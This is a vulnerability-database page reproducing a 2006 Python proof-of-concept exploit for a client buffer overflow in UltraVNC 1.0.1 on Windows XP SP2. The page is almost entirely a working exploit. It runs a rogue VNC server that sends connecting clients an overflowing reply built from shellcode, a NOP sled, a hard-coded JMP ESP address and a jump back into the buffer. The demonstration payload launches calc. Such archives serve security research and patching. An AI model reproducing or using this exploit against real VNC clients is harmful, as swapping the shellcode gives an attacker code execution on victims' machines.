Lucene search
K

Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Ultr@VNC 1.0.1 client buffer overflow exploit for WinXP SP 2, launching Cal

Code

                                                #!/usr/bin/python

#Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm
#POC by Paul Haas at Redspin.com
#Tested on WinXP SP 2: Launches Calc
import socket, struct

HOST = &#39;&#39;                       # Localhost
PORT = 5900                     # VNC Server
BOFSZ = 1024                    # Buffer Size
HEAD = &#34;RFB 003.006\n&#34;          # VNC Header
MESSAGE = &#34;Requires Ultr@VNC Authentication\n&#34;
NOP = &#34;\x90&#34;                    # Standard x86 NOP
JMP = &#34;\xE9\x1B\xFC\xFF\xFF&#34;    # JMP To BUFF
ESP = &#34;\xE0\x3A\xB4\x76&#34;        # winmm.dll: JMP %esp
POP = &#34;PASSWORD&#34;                # RET 8

# win32_exec - CMD=calc Size=160 http://metasploit.com
SHELLCODE = \
&#34;\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe1&#34;+\
&#34;\x7c\x05\xd9\x83\xeb\xfc\xe2\xf4\x1d\x94\x41\xd9\xe1\x7c\x8e\x9c&#34;+\
&#34;\xdd\xf7\x79\xdc\x99\x7d\xea\x52\xae\x64\x8e\x86\xc1\x7d\xee\x90&#34;+\
&#34;\x6a\x48\x8e\xd8\x0f\x4d\xc5\x40\x4d\xf8\xc5\xad\xe6\xbd\xcf\xd4&#34;+\
&#34;\xe0\xbe\xee\x2d\xda\x28\x21\xdd\x94\x99\x8e\x86\xc5\x7d\xee\xbf&#34;+\
&#34;\x6a\x70\x4e\x52\xbe\x60\x04\x32\x6a\x60\x8e\xd8\x0a\xf5\x59\xfd&#34;+\
&#34;\xe5\xbf\x34\x19\x85\xf7\x45\xe9\x64\xbc\x7d\xd5\x6a\x3c\x09\x52&#34;+\
&#34;\x91\x60\xa8\x52\x89\x74\xee\xd0\x6a\xfc\xb5\xd9\xe1\x7c\x8e\xb1&#34;+\
&#34;\xdd\x23\x34\x2f\x81\x2a\x8c\x21\x62\xbc\x7e\x89\x89\x8c\x8f\xdd&#34;+\
&#34;\xbe\x14\x9d\x27\x6b\x72\x52\x26\x06\x1f\x64\xb5\x82\x7c\x05\xd9&#34;

#buff = MESSAGE+SHELLCODE+NOP SLED+RET ADDR+USELESS+JUMP TO BUFF
buff = MESSAGE+SHELLCODE+NOP*(BOFSZ-11-len(MESSAGE)-len(SHELLCODE))
buff = buff+ESP+POP+JMP

#Egg = VNC Server Error Reply and Size of Reply + buff
egg = struct.pack(&#39;LL&#39;,socket.htonl(0),socket.htonl(len(buff)))+buff

print &#39;Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemma&#39;
print &#39;POC by Paul Haas at Redspin.com&#39;
print &#39;Server listening on port&#39;, PORT

#Server Loop
while(1):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.bind((HOST, PORT))
       s.listen(1)

       conn, addr = s.accept()
       print &#39;Connection by&#39;, addr

       conn.send(HEAD)
       data = conn.recv(12)

       conn.send(egg)
       conn.close()

# milw0rm.com [2006-04-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11